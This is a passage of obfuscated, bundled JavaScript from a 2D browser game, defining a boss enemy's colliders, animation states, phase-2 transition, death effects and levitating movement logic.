_0x141b75['enemyConfig']['colliderDimensions']['hx'] + 0x2 * _0x141b75['enemyConfig']['colliderDimensions']['borderRadius']) * _0x2c734e, 0.45 * (_0x141b75['enemyConfig']['colliderDimensions']['hy'] + _0x141b75['enemyConfig']['colliderDimensions']['borderRadius']))['setCollisionGroups'](_0x55da11['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] << 0x10 | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['ENEMY']), [_0x208f95['ESensorName']['GROUND_BOTTOM_LEFT']]: _0x83bc9b['default']['ColliderDesc']['cuboid'](_0x141b75['enemyConfig']['colliderDimensions']['hx'] + _0x141b75['enemyConfig']['colliderDimensions']['borderRadius'], 0.25)['setTranslation'](0x2 * -_0x141b75['enemyConfig']['colliderDimensions']['hx'] - 0x2 * _0x141b75['enemyConfig']['colliderDimensions']['borderRadius'], _0x141b75['enemyConfig']['colliderDimensions']['hy'] + _0x141b75['enemyConfig']['colliderDimensions']['borderRadius'] + 0.125)['setCollisionGroups'](_0x55da11['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] << 0x10 | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['GROUND']), [_0x208f95['ESensorName']['GROUND_BOTTOM_RIGHT']]: _0x83bc9b['default']['ColliderDesc']['cuboid'](_0x141b75['enemyConfig']['colliderDimensions']['hx'] + _0x141b75['enemyConfig']['colliderDimensions']['borderRadius'], 0.25)['setTranslation'](0x2 * _0x141b75['enemyConfig']['colliderDimensions']['hx'] + 0x2 * _0x141b75['enemyConfig']['colliderDimensions']['borderRadius'], _0x141b75['enemyConfig']['colliderDimensions']['hy'] + _0x141b75['enemyConfig']['colliderDimensions']['borderRadius'] + 0.125)['setCollisionGroups'](_0x55da11['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] << 0x10 | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['GROUND']), [_0x208f95['ESensorName']['GROUND_BOTTOM']]: _0x83bc9b['default']['ColliderDesc']['cuboid'](0.99 * (_0x141b75['enemyConfig']['colliderDimensions']['hx'] + _0x141b75['enemyConfig']['colliderDimensions']['borderRadius']), 0.25)['setTranslation'](0x0, _0x141b75['enemyConfig']['colliderDimensions']['hy'] + _0x141b75['enemyConfig']['colliderDimensions']['borderRadius'] + 0.125)['setCollisionGroups'](_0x55da11['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] << 0x10 | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] | _0x55da11['PhysicsConfig']['COLLISION_GROUPS']['ENEMY']) }, 'position': _0x141b75['initialPosition'], 'controllers': _0x981a82 }), new _0x8ed8d7['BossStateComponent']({ 'weapons': _0x1305c7, 'aiConfig': _0x141b75['enemyConfig']['aiConfig'] }), new _0x1e8796['BossStateWeaponComponent'](), new _0x4764b5['BossStateSoundComponent']({ 'isRenderComponent': !0x0 }), new _0x4ff023['BossSceneMessageComponent']({ 'bossName': _0x141b75['enemyConfig']['name'] }), new _0x58ee79['LightRenderComponent']({ 'color': '0xffffff', 'intensity': 0.5, 'radius': 0x1, 'namedId': 'bossOwnLight' }), new _0x2d6ba6['EffectRenderComponent']({ 'controllers': [new _0x56d918['WeaponFireEffectController']({ 'firingPoints': _0x141b75['enemyConfig']['firingPoints'] })] }), new _0x639015['WeaponComponent']({ 'world': _0x141b75['world'], 'firingPoints': _0x141b75['enemyConfig']['firingPoints'], 'controllers': [new _0x70bbba['WeaponFireController']({ 'firingPoints': _0x141b75['enemyConfig']['firingPoints'] }), new _0x9ebd4b['WeaponSoundController']({ 'disabledOnBackend': !0x0 })] }), new _0x419601['WeaponManagementComponent']({ 'controllers': [new _0x48c0b8['EnemyWeaponManagementController']({ 'initialWeapons': _0x381bb3(_0x1305c7) })] }), new _0x3ced7d['AiComponent']({ ..._0x141b75['enemyConfig']['aiConfig'], 'initialState': 'SLEEPING', 'controllers': [new _0x354a47['BossWeaponTriggerController']({ ..._0x141b75['enemyConfig']['aiConfig'] }), new _0x25c45b['BossTargetController'](), new _0x3ba0b1['BossStateAiController']()] }), new _0x3ef4bb['ActorDebugRenderComponent']({ 'firingPoints': _0x141b75['enemyConfig']['firingPoints'] })] }); }; }, 0x2517: (_0x32342a, _0x4c6a97, _0x24b481) => { 'use strict'; Object['defineProperty'](_0x4c6a97, '__esModule', { 'value': !0x0 }), _0x4c6a97['BossAnimationController'] = void 0x0; const _0x46c080 = _0x24b481(0x1520), _0x37eb41 = _0x24b481(0xf18); class _0x33e729 extends _0x46c080['ComponentController']{ ['init']() { this['sceneMessageBus']['subscribe'](this, 'requestLightChange', _0x5028bb => this['onRequestLightChange'](_0x5028bb)), this['store']['subscribe']('bossState', ({ oldValue: _0x3193ef, newValue: _0x45ef34 }) => this['onBossStateChange'](_0x3193ef, _0x45ef34)); } ['onBossStateChange'](_0x158b80, _0x24e7a8) { switch (_0x24e7a8) { case 'INACTIVE': this['onInactive'](); break; case 'SETUP': this['onSetup'](); break; case 'IDLE': this['onIdle'](); break; case 'TRANSITION_TO_PHASE_2': this['onTransitionToPhase2'](); break; case 'TRANSITION_TO_PHASE_2_AWAKENING_BEGINS': this['onTransitionToPhase2AwakeningBegins'](); break; case 'TRANSITION_TO_PHASE_2_COMPLETE': this['onTransitionToPhase2Complete'](); break; case 'DYING': this['onDying'](); break; case 'DYING_FALLING': this['onDyingFalling'](); break; case 'PREPARE_LIGHTNINGS': this['onPrepareLightnings'](); break; case 'PREPARE_MELEE_DOWN': this['onPrepareMeleeDown'](); break; case 'PREPARE_MEGABEAM': this['onPrepareMegabeam'](); break; case 'PREPARE_BLOBS': this['onPrepareBlobs'](); break; case 'PREPARE_HOMING_BALLS': this['onPrepareHomingBalls'](); break; case 'PREPARE_MEGABEAMSPAM': this['onPrepareMegabeamspam'](); } } ['update'](_0x1d7d86) { this['setDirection'](), this['isPerformingAttack']() && this['selectAttackAnimation'](); } ['onInactive']() { this['component']['playAnimation']({ 'name': 'Idle' }); } ['onSetup']() { this['gameContext']['timeProvider']['delayRenderAction'](() => { this['component']['playAnimation']({ 'name': 'Open' }); }, 0x1f4); } ['setDirection']() { const _0x4e7804 = this['store']['get']('lookDirection') < 0x0; this['component']['setDirection'](_0x4e7804 ? 'left' : 'right'); } async['onIdle']() { this['component']['clearAnimation'](0x1), this['component']['playAnimation']({ 'name': 'Active', 'mixDuration': 0.4 }), this['component']['get']()['setDepth'](_0x37eb41['LAYER_DEPTHS']['SPRITE'] - 0x1); } ['onDying']() { this['component']['clearAnimation'](0x0), this['component']['clearAnimation'](0x1), this['component']['clearAnimation'](0x2), this['store']['update']('lookDirection', Math['PI'] / 0x2), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/electric_stun_large_long', 'position': this['store']['get']('renderPosition') }), this['component']['playAnimation']({ 'name': 'Dying', 'mixDuration': 0x1 }); } ['onDyingFalling']() { const _0x5d7b1a = () => { this['store']['get']('isGrounded') && (this['store']['unsubscribe']('isGrounded', _0x5d7b1a), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/electric_stun_large_long', 'position': this['store']['get']('renderPosition') }), this['component']['playAnimation']({ 'name': 'Dying_Fallen', 'mixDuration': 0.4 }), this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'bossStateDyingFallen', 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'] } })); }; this['store']['subscribe']('isGrounded', _0x5d7b1a); } ['onTransitionToPhase2']() { this['component']['clearAnimation'](0x0), this['component']['clearAnimation'](0x1), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/electric_stun', 'position': this['store']['get']('renderPosition') }); const _0x1569fa = () => { this['store']['get']('isGrounded') && (this['store']['unsubscribe']('isGrounded', _0x1569fa), this['component']['playAnimation']({ 'name': 'Transition_Phase2_2' }), this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'bossStateTransitionToPhase2Fallen', 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'] } }), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/electric_stun_large_long', 'position': this['store']['get']('renderPosition') })); }; this['store']['subscribe']('isGrounded', _0x1569fa), this['component']['playAnimation']({ 'name': 'Transition_Phase2_1', 'mixDuration': 0.4 }); } ['onTransitionToPhase2AwakeningBegins']() { this['component']['playAnimation']({ 'name': 'Transition_Phase2_3' }), this['gameContext']['timeProvider']['delayRenderAction'](() => { this['component']['playAnimation']({ 'name': 'Phase2_Look', 'trackIndex': 0x2 }); }, 0x5dc); } ['onTransitionToPhase2Complete']() { } ['onPrepareLightnings']() { this['component']['playAnimation']({ 'name': 'Charge_Beams', 'trackIndex': 0x1 }); } ['onPrepareMeleeDown']() { this['component']['playAnimation']({ 'name': 'Charge_Melee_Downstrikes', 'trackIndex': 0x0 }), this['component']['playAnimation']({ 'name': 'Charge_Melee_Downstrikes', 'trackIndex': 0x1 }); } ['onPrepareBlobs']() { this['component']['playAnimation']({ 'name': 'Charge_Blobs_Side', 'trackIndex': 0x1 }); } ['onPrepareMegabeam']() { this['component']['playAnimation']({ 'name': 'Charge_Megablob_1', 'trackIndex': 0x1 }); } ['onPrepareMegabeamspam']() { this['component']['playAnimation']({ 'name': 'Charge_Megablob_1', 'trackIndex': 0x1 }); } ['onPrepareHomingBalls']() { } ['selectAttackAnimation']() { const _0x4a1d12 = this['store']['get']('currentWeaponName'); if (!_0x4a1d12) return; const _0x33b5b0 = this['gameContext']['getWeaponConfig'](_0x4a1d12)['attackConfigs'][this['store']['get']('currentPhaseIndex')]; _0x33b5b0 && _0x33b5b0['phaseAnimation'] && this['component']['playAnimation']({ 'name': _0x33b5b0['phaseAnimation'], 'loop': !0x1, 'timeScale': 0x1, 'trackIndex': 0x1, 'mixDuration': 0.1, 'restartAnimationIfPlaying': _0x33b5b0['restartPhaseAnimationOnFire'] }); } ['isPerformingAttack']() { return 'OPERATING' === this['store']['get']('weaponActivityState'); } ['onRequestLightChange'](_0x1f949d) { } } _0x4c6a97['BossAnimationController'] = _0x33e729; }, 0x114c: (_0x30badc, _0x5e71f8, _0x25b00c) => { 'use strict'; Object['defineProperty'](_0x5e71f8, '__esModule', { 'value': !0x0 }), _0x5e71f8['BossDamageComponent'] = void 0x0; const _0x50d564 = _0x25b00c(0x2414); class _0x155cd3 extends _0x50d564['ActorComponent']{ ['init']() { this['store']['subscribe']('hp', ({ oldValue: _0x27b664, newValue: _0x156353 }) => this['onHpChange'](_0x27b664, _0x156353)), this['store']['update']('spawnInvulnerabilityTimeLeftMS', 0x1 / 0x0), this['store']['subscribe']('bossState', ({ oldValue: _0x50b2bd, newValue: _0x335382 }) => this['onBossStateChange'](_0x50b2bd, _0x335382)); } ['onBossStateChange'](_0x4a2627, _0x1d31af) { switch (_0x1d31af) { case 'IDLE': this['onIdle'](); break; case 'DIED': this['onDied'](); } } ['onIdle']() { this['store']['update']('spawnInvulnerabilityTimeLeftMS', 0x0); } ['onHpChange'](_0x69be32, _0xfe20e7) { _0xfe20e7 > 0.5 * this['store']['get']('maxHp') || (this['maybeTransitionToPhase2'](), this['maybeTransitionToDying']()); } ['maybeTransitionToPhase2']() { const _0x2b2e42 = ['DYING', 'DYING_FALLING', 'DIED', 'SETUP', 'START']['includes'](this['store']['get']('bossState')), _0x373b02 = 'PHASE_2' === this['store']['get']('bossPhase'); _0x2b2e42 || _0x373b02 || (this['store']['update']('bossState', 'TRANSITION_TO_PHASE_2'), this['store']['update']('bossPhase', 'PHASE_2'), this['store']['update']('spawnInvulnerabilityTimeLeftMS', 0x1 / 0x0)); } ['maybeTransitionToDying']() { if (['DYING', 'DYING_FALLING', 'DIED']['some'](_0x35f661 => this['store']['get']('bossState') === _0x35f661)) return; this['store']['get']('hp') > 0x0 || (this['store']['update']('bossState', 'DYING'), this['store']['update']('hp', 0x1 / 0x0)); } ['onDied']() { this['store']['update']('hp', 0x0); } } _0x5e71f8['BossDamageComponent'] = _0x155cd3; }, 0x22ae: (_0x38944f, _0xf89fb0, _0x2039cf) => { 'use strict'; Object['defineProperty'](_0xf89fb0, '__esModule', { 'value': !0x0 }), _0xf89fb0['BossDamageSideEffectComponent'] = void 0x0; const _0x202253 = _0x2039cf(0x2414), _0xb7879d = _0x2039cf(0x2f5), _0x16cb2a = _0x2039cf(0x2347), _0x41d7dd = _0x2039cf(0x18e5), _0x46c469 = _0x2039cf(0x1832); class _0x5439f8 extends _0x202253['ActorComponent']{ constructor(_0x15dc58) { super(_0x15dc58); } ['init']() { this['store']['subscribe']('bossState', ({ oldValue: _0x14dbf5, newValue: _0x2db73a }) => this['onBossStateChange'](_0x14dbf5, _0x2db73a)); } ['onBossStateChange'](_0x5bb903, _0x1ad325) { switch (_0x1ad325) { case 'DYING': this['onDying'](); break; case 'DYING_FALLING': this['onDyingFalling'](); } } ['onDying']() { this['gameContext']['timeProvider']['delayRenderAction'](() => { const _0xaa96b6 = { 'x': this['store']['get']('renderPosition')['x'] + 0xc8, 'y': this['store']['get']('renderPosition')['y'] }; this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'with_smoke/very_large_air', 'position': _0xaa96b6 }), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/electric_stun_large_long', 'position': this['store']['get']('renderPosition') }), this['createChunkSpread']({ 'x': 0x64, 'y': 0x0 }), this['createSmokeGenerator']('boss/util/smokeGenerator6', 'sideInner1'); }, 0x834), this['gameContext']['timeProvider']['delayRenderAction'](() => { const _0x4ad147 = { 'x': this['store']['get']('renderPosition')['x'], 'y': this['store']['get']('renderPosition')['y'] + 0x96 }; this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'with_smoke/very_large_air', 'position': _0x4ad147 }), this['createSmokeGenerator']('boss/util/smokeGenerator6', 'default'); }, 0xa6a), this['gameContext']['timeProvider']['delayRenderAction'](() => { const _0x572c02 = { 'x': this['store']['get']('renderPosition')['x'] - 0xc8, 'y': this['store']['get']('renderPosition')['y'] }; this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'with_smoke/very_large_air', 'position': _0x572c02 }), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/electric_stun_large_long', 'position': this['store']['get']('renderPosition') }), this['createChunkSpread']({ 'x': -0x64, 'y': 0x0 }); }, 0xaf0), this['gameContext']['timeProvider']['delayRenderAction'](() => { const _0x49ff3b = { 'x': this['store']['get']('renderPosition')['x'], 'y': this['store']['get']('renderPosition')['y'] }; this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'with_smoke/very_large_air', 'position': _0x49ff3b }), this['createChunkSpread']({ 'x': 0x0, 'y': 0x0 }); }, 0xc5e), this['gameContext']['timeProvider']['delayRenderAction'](() => { const _0x49928a = { 'x': this['store']['get']('renderPosition')['x'] + 0x96, 'y': this['store']['get']('renderPosition')['y'] + 0x96 }; this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'with_smoke/very_large_air', 'position': _0x49928a }), this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/electric_stun_large_long', 'position': this['store']['get']('renderPosition') }), this['createChunkSpread']({ 'x': 0x4b, 'y': 0x4b }); }, 0xd48); } ['onDyingFalling']() { this['createSmokeGenerator']('boss/util/smokeGenerator5', 'sideInner2'), this['createSmokeGenerator']('boss/util/smokeGenerator6', 'sideInner2'), this['createSmokeGenerator']('boss/util/smokeGenerator5', 'bottom_hole'), this['createSmokeGenerator']('boss/util/smokeGenerator6', 'bottom_hole'); } ['createChunkSpread'](_0xf04af6) { this['messageBus']['publish']('requestChunks', { 'chunkConfigs': [{ 'minAmount': 0x1, 'maxAmount': 0x2, 'chunkAnimation': 'chunk/bot_small1_quickfade', 'noFadeout': !0x0 }, { 'minAmount': 0x1, 'maxAmount': 0x2, 'chunkAnimation': 'chunk/bot_small2_quickfade', 'noFadeout': !0x0 }, { 'minAmount': 0x0, 'maxAmount': 0x1, 'chunkAnimation': 'chunk/bot_medium1_quickfade', 'noFadeout': !0x0 }, { 'minAmount': 0x0, 'maxAmount': 0x1, 'chunkAnimation': 'chunk/bot_medium2_quickfade', 'noFadeout': !0x0 }, { 'minAmount': 0x0, 'maxAmount': 0x1, 'chunkAnimation': 'chunk/bot_medium3_quickfade', 'noFadeout': !0x0 }, { 'minAmount': 0x0, 'maxAmount': 0x1, 'chunkAnimation': 'chunk/bot_large1_quickfade', 'noFadeout': !0x0 }, { 'minAmount': 0x0, 'maxAmount': 0x1, 'chunkAnimation': 'chunk/bot_large2_quickfade', 'noFadeout': !0x0 }], 'position': (0x0, _0x41d7dd['add'])(this['store']['get']('physicsPosition'), (0x0, _0x16cb2a['renderVector2PhysicsVector'])(_0xf04af6)) }); } ['createSmokeGenerator'](_0x3203c2, _0x243ca5) { const _0x2edcf8 = { 'projectileConfig': this['gameContext']['getProjectileConfig'](_0x3203c2), 'scene': this['scene'], 'sceneMessageBus': this['sceneMessageBus'], 'gameMessageBus': this['gameMessageBus'], 'recoilCallback': () => { }, 'world': this['config']['world'], 'gameContext': this['gameContext'], 'tags': [_0x46c469['EActorTag']['CHUNK']], 'projectileType': _0x3203c2, 'attachToFiringPointConfig': this['config']['firingPoints'][_0x243ca5], 'attachedFiringPointName': _0x243ca5, 'projectileVelocity': { 'x': 0x0, 'y': 0x0 }, 'damageMultiplier': 0x0, 'initialDirection': 0x0, 'initialPosition': { 'x': 0x0, 'y': 0x0 }, 'useOwnerLookDirection': !0x1, 'ownerActor': this['actor'] }, _0x54acf4 = _0xb7879d['GAMEPLAY_ACTOR_MAP']['projectile'](_0x2edcf8); this['actor']['registerActor'](_0x54acf4); } } _0xf89fb0['BossDamageSideEffectComponent'] = _0x5439f8; }, 0x6a9: (_0x282e2c, _0x2c8c7d) => { 'use strict'; Object['defineProperty'](_0x2c8c7d, '__esModule', { 'value': !0x0 }), _0x2c8c7d['bossStateModel'] = _0x2c8c7d['BOSS_STATE_PHASES'] = _0x2c8c7d['BOSS_STATE_ATTACKS'] = _0x2c8c7d['BOSS_STATE_PREPARES'] = void 0x0, _0x2c8c7d['BOSS_STATE_PREPARES'] = ['PREPARE_BLOBS', 'PREPARE_LIGHTNINGS', 'PREPARE_MELEE_DOWN', 'PREPARE_MEGABEAM', 'PREPARE_HOMING_BALLS', 'PREPARE_MEGABEAMSPAM'], _0x2c8c7d['BOSS_STATE_ATTACKS'] = ['ATTACK_BLOBS', 'ATTACK_LIGHTNINGS', 'ATTACK_MELEE_DOWN', 'ATTACK_MEGABEAM', 'ATTACK_HOMING_BALLS', 'ATTACK_MEGABEAMSPAM'], _0x2c8c7d['BOSS_STATE_PHASES'] = ['PHASE_1', 'PHASE_2'], _0x2c8c7d['bossStateModel'] = { 'bossState': 'START', 'bossPhase': 'PHASE_1', 'bossUpcomingAttacks': [], 'bossCurrentAttack': void 0x0, 'bossStoredPosition': { 'x': 0x0, 'y': 0x0 }, 'defaultAiConfig': { 'wantedHorizontalDistanceToPlayer': 0x0, 'horizontalWantedDistanceRange': 0x0, 'wantedVerticalDistanceToPlayer': 0x0, 'verticalWantedDistanceRange': 0x0, 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0x0 }, 'currentMovementConfig': { 'minimumLevitationForce': 0x0, 'xMovementForce': 0x0, 'yMovementForce': 0x0, 'maxXSpeed': 0x0, 'maxYSpeed': 0x0, 'levitationGroundDetectionDistance': 0x0 } }; }, 0x175f: function (_0x23f639, _0x536df2, _0x5cfcb5) { 'use strict'; var _0x1744df = this && this['__importDefault'] || function (_0xb0b31b) { return _0xb0b31b && _0xb0b31b['__esModule'] ? _0xb0b31b : { 'default': _0xb0b31b }; }; Object['defineProperty'](_0x536df2, '__esModule', { 'value': !0x0 }), _0x536df2['BossMovementController'] = _0x536df2['BOSS_PHASE2_TELEPORT_DELAY_MS'] = _0x536df2['DESTINATION_TARGET_OFFSET'] = void 0x0; const _0x59559a = _0x1744df(_0x5cfcb5(0x9a8)), _0x16575f = _0x5cfcb5(0x1520), _0x9f5ad2 = _0x5cfcb5(0x18e5); _0x536df2['DESTINATION_TARGET_OFFSET'] = { 'x': 0x0, 'y': -0xc }; const _0xe56dcd = { 'xMovementForce': 0x0, 'yMovementForce': 0x0, 'maxXSpeed': 0x0, 'maxYSpeed': 0x0, 'levitationGroundDetectionDistance': 0x0, 'minimumLevitationForce': 0x0 }, _0x2cfb77 = { 'xMovementForce': 0x0, 'yMovementForce': 0x0, 'maxXSpeed': 0x0, 'maxYSpeed': 0x0, 'levitationGroundDetectionDistance': 0x58, 'minimumLevitationForce': 0x28 }, _0xc5cbfc = { 'xMovementForce': 0x1e, 'yMovementForce': 0x1e, 'maxXSpeed': 0xf, 'maxYSpeed': 0xa, 'levitationGroundDetectionDistance': 0x58, 'minimumLevitationForce': 0x2a }, _0x206815 = { 'xMovementForce': 0x32, 'yMovementForce': 0x28, 'maxXSpeed': 0x1e, 'maxYSpeed': 0xf, 'levitationGroundDetectionDistance': 0x58, 'minimumLevitationForce': 0x2a }; _0x536df2['BOSS_PHASE2_TELEPORT_DELAY_MS'] = 0xc8; class _0x5e84a3 extends _0x16575f['ComponentController']{ constructor(_0x137712) { super(_0x137712); } ['init']() { this['store']['update']('currentUpForce', 0x0), this['store']['update']('horizontalState', 'IDLE'), this['store']['update']('currentMovementConfig', _0xc5cbfc), this['store']['subscribe']('bossState', ({ oldValue: _0x9beffb, newValue: _0x4a5e13 }) => this['onBossStateChange'](_0x9beffb, _0x4a5e13)), this['messageBus']['subscribe'](this, 'teleportFail', _0x278a30 => this['onTeleportFail']()); } ['update'](_0x512a24) { if (this['store']['get']('stunTimeMS') > 0x0) return; let _0x2093cd = 'IDLE'; const _0x5e8822 = 0x8c * _0x512a24; this['levitate'](_0x5e8822), this['store']['get']('movementLockoutLeftMS') > 0x0 || (this['getCurrentMovementConfig']()['stationary'] || (this['store']['get']('aiActionLeft') && (this['goLeft'](_0x5e8822), _0x2093cd = 'MOVEMENT'), this['store']['get']('aiActionRight') && (this['goRight'](_0x5e8822), _0x2093cd = 'MOVEMENT')), this['store']['get']('aiActionUp') && this['goUp'](_0x5e8822), this['store']['get']('aiActionDown') && this['goDown'](_0x5e8822), this['store']['update']('horizontalState', _0x2093cd)); } ['onBossStateChange'](_0x311b0c, _0x1006ff) { switch (_0x1006ff) { case 'PREPARE_MELEE_DOWN': this['onPrepareMeleeDown'](); break; case 'ATTACK_MELEE_DOWN': this['onAttackMeleeDown'](); break; case 'TRANSITION_TO_PHASE_2': this['onTransitionToPhase2'](); break; case 'TRANSITION_TO_PHASE_2_COMPLETE': this['onTransitionToPhase2Complete'](); break; case 'DYING': this['onDying'](); break; case 'DYING_FALLING': this['onDyingFalling'](); } } ['onTransitionToPhase2']() { this['store']['update']('currentMovementConfig', _0xe56dcd); } ['onTransitionToPhase2Complete']() { this['store']['update']('currentMovementConfig', _0x206815); } ['onDying']() { this['store']['update']('currentMovementConfig', _0x2cfb77); } ['onDyingFalling']() { this['store']['update']('currentMovementConfig', _0xe56dcd); } ['getCurrentMovementConfig']() { return this['store']['get']('currentMovementConfig'); } ['onTeleportFail']() { this['component']['get']()['setTranslation'](this['store']['get']('bossStoredPosition'), !0x0); } ['onPrepareMeleeDown']() { 'PHASE_2' === this['store']['get']('bossPhase') && (this['store']['update']('bossStoredPosition', this['component']['get']()['translation']()), this['gameContext']['timeProvider']['delayAction'](() => { this['component']['get']()['setTranslation']({ 'x': -0x3e7, 'y': -0x3e7 }, !0x0); }, _0x536df2['BOSS_PHASE2_TELEPORT_DELAY_MS'])); } ['onAttackMeleeDown']() { if (!('PHASE_2' === this['store']['get']('bossPhase'))) return; const _0x3014bb = this['store']['get']('targetActorHandles')[0x0]; if (!_0x3014bb) return; const _0x249ad0 = _0x3014bb['getFromStore']('physicsPosition'), _0x265762 = (0x0, _0x9f5ad2['add'])(_0x249ad0, _0x536df2['DESTINATION_TARGET_OFFSET']); this['component']['body']['setLinvel']({ 'x': 0x0, 'y': 0x0 }, !0x0), this['messageBus']['publish']('requestTeleport', { 'destination': _0x265762 }); } ['levitate'](_0xfc8c5a) { const _0xc2b976 = this['calculateLevitationForce'](), _0x1da639 = this['component']['get']()['linvel'](), _0x372c49 = new _0x59559a['default']['Vector2'](_0x1da639['x'], _0x1da639['y']); this['component']['get']()['setLinvel'](_0x372c49, !0x0), this['component']['get']()['applyImpulse'](new _0x59559a['default']['Vector2'](0x0, -_0xc2b976 * _0xfc8c5a), !0x0); } ['goLeft'](_0x27e79e, _0x2eb12a = 0x1) { const _0x1e8a7b = this['component']['get']()['linvel'](); if (_0x1e8a7b['x'] < -this['getCurrentMovementConfig']()['maxXSpeed']) return; const _0x3f4a26 = new _0x59559a['default']['Vector2'](_0x1e8a7b['x'], _0x1e8a7b['y']); this['component']['get']()['setLinvel'](_0x3f4a26, !0x0), this['component']['get']()['applyImpulse'](new _0x59559a['default']['Vector2'](-this['getCurrentMovementConfig']()['xMovementForce'] * _0x27e79e * _0x2eb12a, 0x0), !0x0); } ['goRight'](_0x48d87f, _0x2490a4 = 0x1) { const _0x4f5ab5 = this['component']['get']()['linvel'](); if (_0x4f5ab5['x'] > this['getCurrentMovementConfig']()['maxXSpeed']) return; const _0xf3bc78 = new _0x59559a['default']['Vector2'](_0x4f5ab5['x'], _0x4f5ab5['y']); this['component']['get']()['setLinvel'](_0xf3bc78, !0x0), this['component']['get']()['applyImpulse'](new _0x59559a['default']['Vector2'](this['getCurrentMovementConfig']()['xMovementForce'] * _0x48d87f * _0x2490a4, 0x0), !0x0); } ['goUp'](_0x5de3cc, _0x163706 = 0x1) { const _0x438352 = this['component']['get']()['linvel'](); if (_0x438352['y'] < -this['getCurrentMovementConfig']()['maxYSpeed']) return; const _0x4e78a0 = new _0x59559a['default']['Vector2'](_0x438352['x'], _0x438352['y']); this['component']['get']()['setLinvel'](_0x4e78a0, !0x0), this['component']['get']()['applyImpulse'](new _0x59559a['default']['Vector2'](0x0, -this['getCurrentMovementConfig']()['yMovementForce'] * _0x5de3cc * _0x163706), !0x0); } ['goDown'](_0x1414b4, _0x36e4e2 = 0x1) { const _0x5cb922 = this['component']['get']()['linvel'](); if (_0x5cb922['y'] > this['getCurrentMovementConfig']()['maxYSpeed']) return; const _0x392075 = new _0x59559a['default']['Vector2'](_0x5cb922['x'], _0x5cb922['y']); this['component']['get']()['setLinvel'](_0x392075, !0x0), this['component']['get']()['applyImpulse'](new _0x59559a['default']['Vector2'](0x0, this['getCurrentMovementConfig']()['yMovementForce'] * _0x1414b4 * _0x36e4e2), !0x0); } ['calculateLevitationForce']() { const _0x43f30d = this['store']['get']('distanceToGround'), _0x48cf47 = _0x43f30d < 0x0 ? 0x0 : _0x43f30d, _0x53e36a = this['getCurrentMovementConfig']()['levitationGroundDetectionDistance'] - _0x48cf47, _0x1084d5 = 0.6 * (this['getCurrentMovementConfig']()['levitationGroundDetectionDistance'] - _0x48cf47), _0x1e38e0 = this['component']['get']()['linvel']()['y'] < 0x0 ? _0x1084d5 : _0x53e36a; return Math['max'](this['getCurrentMovementConfig']()['minimumLevitationForce'], _0x1e38e0); } } _0x536df2['BossMovementController'] = _0x5e84a3; }, 0x118a: (_0x14ff32, _0x502be5, _0x15a77b) => { 'use strict'; Object['defineProperty'](_0x502be5, '__esModule', { 'value': !0x0 }), _0x502be5['BossSceneMessageComponent'] = void 0x0; const _0x3d6093 = _0x15a77b(0x2414); class _0x601bce extends _0x3d6093['ActorComponent']{ constructor(_0x504bb5) { super(_0x504bb5); } ['init']() { this['store']['subscribe']('bossState', ({ oldValue: _0x328944, newValue: _0x4ffb56 }) => this['onBossStateChange'](_0x328944, _0x4ffb56)), this['store']['subscribe']('hp', ({ oldValue: _0x200dd6, newValue: _0x5361e5 }) => this['onHpChange'](_0x200dd6, _0x5361e5)); } ['onBossStateChange'](_0x5209f8, _0x264441) { switch (this['sceneMessageBus']['publish']('bossState', _0x264441), _0x264441) { case 'SETUP': this['onSetup'](); break; case 'SETUP_UI': this['onSetupUi'](); break; case 'TRANSITION_TO_PHASE_2_AWAKENING_BEGINS': this['onTransitionToPhase2AwakeningBegins'](); break; case 'IDLE': this['onIdle'](); break; case 'DYING_FALLING': this['onDyingFalling'](); break; case 'PREPARE_MEGABEAMSPAM': this['onPrepareMegabeamspam'](); } } ['onIdle']() { this['sceneMessageBus']['publish']('BOSS_IDLE'); } ['onSetup']() { } ['onSetupUi']() { const _0x3467fe = this['store']['get']('maxHp') / 0x2; this['gameMessageBus']['publish']('updateBoss', { 'state': this['store']['get']('bossState'), 'hp': 0x0, 'maxHp': _0x3467fe }), this['gameMessageBus']['publish']('requestText', { 'text': this['config']['bossName'], 'textAreaName': 'mapName', 'durationMS': 0xbb8 }); } ['onTransitionToPhase2AwakeningBegins']() { this['gameMessageBus']['publish']('updateBoss', { 'state': this['store']['get']('bossState') }); } ['onPrepareMegabeamspam']() { this['gameContext']['timeProvider']['delayAction'](() => { this['sceneMessageBus']['publish']('bossEnablePlatforms'); }, 0x1f4); } ['onDyingFalling']() { this['gameMessageBus']['publish']('updateBoss', { 'state': this['store']['get']('bossState') }), this['gameMessageBus']['publish']('requestText', { 'text': this['config']['bossName'] + '\x20\x20\x20D\x20E\x20F\x20E\x20A\x20T\x20E\x20D', 'textAreaName': 'mapName', 'durationMS': 0xbb8 }); } ['onHpChange'](_0x452fff, _0x2d1357) { this['sceneMessageBus']['publish']('bossHpUpdate', _0x2d1357); const _0xcfe5ba = this['store']['get']('maxHp') / 0x2, _0x16e2b6 = _0x2d1357 - (Math['floor'](_0x2d1357 / _0xcfe5ba) + 0x1 - 0x1) * 